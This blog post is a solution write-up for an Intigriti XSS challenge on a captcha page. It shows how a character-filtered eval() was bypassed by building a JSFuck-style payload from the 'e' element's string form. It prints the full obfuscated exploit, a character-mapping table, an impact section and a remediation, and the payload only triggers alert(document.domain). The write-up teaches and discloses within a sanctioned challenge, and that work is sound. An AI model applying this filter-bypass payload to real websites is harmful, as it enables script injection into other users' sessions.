I won some swag & learnt some weird JavaScript stuff from this Intigriti challenge, which is always nice! Here’s the original tweet:
Vulnerability Discovery
Identifying the XSS entry-point was relatively simple in this challenge – the script contains a direct call to an eval() function, which is often going to be the sink to some kind of DOM XSS source:
function calc() {
const operation = a.innerText + b.innerText + c.value;
if (!operation.match(/[a-df-z<>()!\\='"]/gi)) {
if (d.innerText == eval(operation)) {
alert("🚫🤖 Congratulations, you're not a robot!");
}
In this case, there was no immediate source, but with some handy guesswork (considering that there needs to be some kind of reflection for this to not be self-XSS), I identified that the GET parameters a, b, c and d were being written to the DOM when given as parameters. Unfortunately, these were sanitized – so no simple <script>alert()</script>, but data from them was getting pulled into the eval – now to connect the source’s input to some kind of JavaScript execution in the eval() sink!
There’s a single regular expression filter in place that makes this task not so trivial, however:
if (!operation.match(/[a-df-z<>()!\='"]/gi)
So it looks like we only have these characters:
+[]{}$`-/:;$&@`?,#%^*+~|_.
e1234567890
Exploit Development
My immediate thought was JSFuck’s limited character set, having lived a past life as a JavaScript developer and discovering many years ago that JavaScript’s loosely typed language can lead to ‘interesting’ things happening. Unfortunately, JSFuck uses these characters:
[]()!+
And we can’t use ()!
. There is some excellent research from Gareth Heyes that avoids use of parentheses, which is implemented as ‘jsfsck’ but this still leaves us with !, preventing booleans from being used.
We do have many other characters than are needed for JSFuck to work, so the answer is to build this limited character set payload using the JSFuck fundamentals and attempting to work around the lack of the ! character. The JSFuck readme is pretty comprehensive, and I won’t repeat it here, but the idea is that we cast various values in JavaScript to strings. For example, ‘NaN’ is a value in JavaScript that can be turned into a string when added to an empty array, try this in your console and you’ll see that it evaluates to true: NaN+[] == 'NaN'
. We then reuse characters to build other JavaScript values until we can start calling functions, and then we have arbitrary JavaScript execution!
So the reason we need the exclamation mark for this payload is to cast the boolean values ‘true’ and ‘false’ to strings and re-use their letters. Unfortunately, the = and <> characters were also filtered.
The key insight that was the main time sink for this challenge was discovering that all items with an ID in the HTML body of the page are actually cast to the Window object, which in browser JavaScript land is roughly the equivalent of a global variable. So the element with the ID of ‘e’ can be referenced in JavaScript simply by using the variable name ‘e’. This is pretty weird behavior, and as an attacker I love it! I never came across it as a dev but I can imagine that this could easily lead to some confusing bugs.
So if we simply cast the variable e to a string, we get this:
e+[] == '[object HTMLProgressElement]' // true
So by tediously re-building the strings, this gives us all the characters we need to build the final payload:
[]["fill"]["constructor"]`$${ alert(document.domain) }$```
A list of character mappings is in the report below.
Report
There is a reflected XSS vulnerability in the page https://challenge-0521.intigriti.io/captcha.php?b=&c=, specifically the b and c parameters when making a GET request.
To exploit this issue, an attacker would have to send a victim a malicious URL, and the victim would have to click the submit button on the page.
A proof of concept URL executing the javascript 'alert(document.domain)'
is as follows:
Clicking this link and then submitting the form will popup an alert(document.domain).
This vulnerability occurs primarily due to the use of ‘eval()’ in the JavaScript in the application. Although there is heavy filtering in place, it is possible to execute arbitrary JavaScript with very few characters due to the weakly typed nature of the language. An example of this is ‘JSFuck’, which uses only 6 characters in JavaScript to execute any arbitrary code.
In this instance, it was not possible to use the characters (,) or !, which are required by JSFuck. The bracket symbols were able to be replaced with a technique that allows for the use of the characters `{}$“ instead of (). This still leaves the ! character, which is used by JSFuck to create boolean values. These boolean values are primarily used in JSFuck for mapping the characters they contain – t,r,u,e,f,a,l and s. These characters allow for the ‘constructor’ string to be built, which allows for arbitrary code execution in JavaScript.
Instead of these boolean values, it is possible to obtain these characters by the use of ‘named access to the window object’ in JavaScript, and casting this value to a string. in this case, the element with the ID of ‘e’ is accessible as a global variable (or rather, in the Window object which is the equivalent of global scope), and the character ‘e’ is allowed to pass through the regular expression and into the eval function. This allows for the following snippet the code e+[]
, when executed in the context of the application, to equal the string "[object HTMLProgressElement]"
.
When combining this with other characters available from the standard JSFuck approach (more information can be found in the JSFuck readme), this gives access to all the relevant characters to create the “constructor” string, as well as to create the string ‘alert(document.domain)’. Combining these in vanilla javascript would be as follows:
[]['find']['constructor']('alert(document.domain')
The individual characters need to be created using this technique and then concatenated with the ‘+’ character. The key phrases (‘find’, ‘constructor’ and ‘alert(document.domain)’), constructed with this approach, are as follows:
// find
[[][[]]+[]][0][4] // f
[[][[]]+[]][0][5] // i
[[][[]]+[]][0][6] // n
[[][[]]+[]][0][2] // d
// constructor
[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][3] // c
[e+[]][0][1] // o
[[][0]+[]][0][6] // n
[e+[]][0][18] // s
[1e309+[]][0][6] // t
[e+[]][0][16] // r
[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][1] // u
[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][3] // c
[1e309+[]][0][6] // t
[e+[]][0][1] // o
[e+[]][0][16] // r
// alert(document.domain)
[++[][[]]+[]][0][1] // a
[e+[]][0][21] // l
`e`
[e+[]][0][16] // r
[1e309+[]][0][6] // t
[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][13] // (
[[][0]+[]][0][2] // d
[e+[]][0][1] // o
[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][3] // c
[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][1] // u
[e+[]][0][23] // m
[e+[]][0][24] // e
[e+[]][0][25] // n
[e+[]][0][26] // t
`.`
[[][0]+[]][0][2] // d
[e+[]][0][1] // o
[e+[]][0][23] // m
[++[][[]]+[]][0][1] // a
[1e309+[]][0][5] // i
[[][0]+[]][0][6] // n
[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][14] // )
The characters [,] and + are allowed through the filter, and do not require encoding. The final payload is as follows:
[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]][[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][3]+[e+[]][0][1]+[[][0]+[]][0][6]+[e+[]][0][18]+[1e309+[]][0][6]+[e+[]][0][16]+[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][1]+[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][3]+[1e309+[]][0][6]+[e+[]][0][1]+[e+[]][0][16]]`$${ [++[][[]]+[]][0][1]+[e+[]][0][21]+`e`+[e+[]][0][16]+[1e309+[]][0][6]+[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][13]+[[][0]+[]][0][2]+[e+[]][0][1]+[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][3]+[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][1]+[e+[]][0][23]+[e+[]][0][24]+[e+[]][0][25]+[e+[]][0][26]+`.`+[[][0]+[]][0][2]+[e+[]][0][1]+[e+[]][0][23]+[++[][[]]+[]][0][1]+[1e309+[]][0][5]+[[][0]+[]][0][6]+[[][[[][[]]+[]][0][4]+[[][[]]+[]][0][5]+[[][[]]+[]][0][6]+[[][[]]+[]][0][2]]+[]][0][14] }$```
With URL encoding, and observing that the a,b,c & d parameters are reflected by the respective GET request parameters, it is possible to create the final exploit URL:
Which needs to be URL encoded to work, giving us this:
Impact
An attacker would be able to use this exploit to perform arbitrary actions within the vulnerable domain in the victim’s browser, compromising the confidentiality, integrity and availability of the application using the captcha. The vulnerability would also allow an attacker to run untrusted code in the victim’s browser – if an older browser is used, this could lead to code execution on the user’s machine, increasing the scope of this attack.
Recommendation
The eval() function should be removed, and the captcha functionality rewritten with consideration for modern security practices.